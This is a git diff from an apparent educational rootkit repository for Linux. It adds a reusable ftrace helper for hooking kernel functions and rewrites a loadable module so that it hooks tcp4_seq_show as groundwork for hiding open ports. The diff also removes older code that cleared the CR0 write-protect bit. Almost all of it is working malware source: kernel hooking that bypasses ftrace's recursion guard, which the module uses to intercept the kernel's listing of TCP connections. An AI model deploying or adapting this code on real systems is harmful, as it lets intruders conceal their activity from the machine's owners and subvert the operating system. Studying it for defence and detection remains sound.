diff --git a/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h new file mode 100644 index 0000000..5b5a392 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h @@ -0,0 +1,171 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c index bbed9aa..2981d33 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c +++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c @@ -3,113 +3,60 @@ #include #include #include -#include -#include -#include +#include -#define TMPSZ 150 +#include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Hiding open ports"); MODULE_VERSION("0.01"); -static unsigned long * __tcp4_seq_show; - -/* We have to save a copy of the tcp4_seq_show function the same way we save syscalls */ -typedef asmlinkage int (*orig_tcp4_seq_show_t)(struct net *); -orig_tcp4_seq_show_t orig_tcp4_seq_show; +/* Function declaration for the original tcp4_seq_show() function that we + * are going to hook. + * */ +static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); /* This is our hook function for tcp4_seq_show */ -asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v) +static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v) { - struct tcp_iter_state *st; + long ret; struct sock *sk = v; - seq_setwidth(seq, TMPSZ -1); - if (v == SEQ_START_TOKEN) { - seq_puts(seq, " sl local_address rem_address st tx_queue " - "rx_queue tr tm->when retrnsmt uid timeout " - "inode"); - goto out; - } - st = seq->private; + printk(KERN_DEBUG "rootkit: entered hooked function!\n"); + + ret = orig_tcp4_seq_show(seq, v); - if (sk->sk_state == TCP_TIME_WAIT) - //get_timewait4_sock(v, seq, st->num); - printk(KERN_DEBUG "rootkit: sk->sk_state == TCP_TIME_WAIT\n"); - else if (sk->sk_state == TCP_NEW_SYN_RECV) - //get_openreq4(v, seq, st->num); - printk(KERN_DEBUG "rootkit: sk->sk_state == TCP_NEW_SYN_RECV\n"); - else - //get_tcp4_sock(v, seq, st->num); - printk(KERN_DEBUG "rootkit: else\n"); - -out: - seq_pad(seq, '\n'); - return 0; + printk(KERN_DEBUG "rootkit: returning!\n"); + return ret; } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) -{ - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); -} - -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) -{ - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); -} - -static inline void unprotect_memory(void) -{ - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); -} +/* We are going to use the fh_install_hooks() function from ftrace_helper.h + * in the module initialization function. This function takes an array of + * ftrace_hook structs, so we initialize it with what we want to hook + * */ +static struct ftrace_hook hooks[] = { + HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show), +}; /* Module initialization function */ static int __init rootkit_init(void) { - /* Lookup the memory location of tcp4_seq_show and set - * the orig_ function to it */ - __tcp4_seq_show = kallsyms_lookup_name("tcp4_seq_show"); - orig_tcp4_seq_show = (orig_tcp4_seq_show_t) __tcp4_seq_show; + /* Simply call fh_install_hooks() with hooks (defined above) */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: found tcp4_seq_show at: 0x%lx\n", __tcp4_seq_show); - - unprotect_memory(); - - /* Set __tcp4_seq_show to our hook */ - printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show...\n"); - __tcp4_seq_show = (unsigned long)hook_tcp4_seq_show; - printk(KERN_DEBUG "rootkit: (hook) __tcp4_seq_show = 0x%lx\n", __tcp4_seq_show); - printk(KERN_DEBUG "rootkit: (hook) *__tcp4_seq_show = 0x%lx\n", *__tcp4_seq_show); - - protect_memory(); return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - /* Set __tcp4_seq_show back to the saved original function */ - printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show...\n"); - __tcp4_seq_show = (unsigned long)orig_tcp4_seq_show; - printk(KERN_DEBUG "rootkit: (orig) __tcp4_seq_show = 0x%lx\n", __tcp4_seq_show); - printk(KERN_DEBUG "rootkit: (orig) *__tcp4_seq_show = 0x%lx\n", *__tcp4_seq_show); - - protect_memory(); - + /* Simply call fh_remove_hooks() with hooks (defined above) */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); }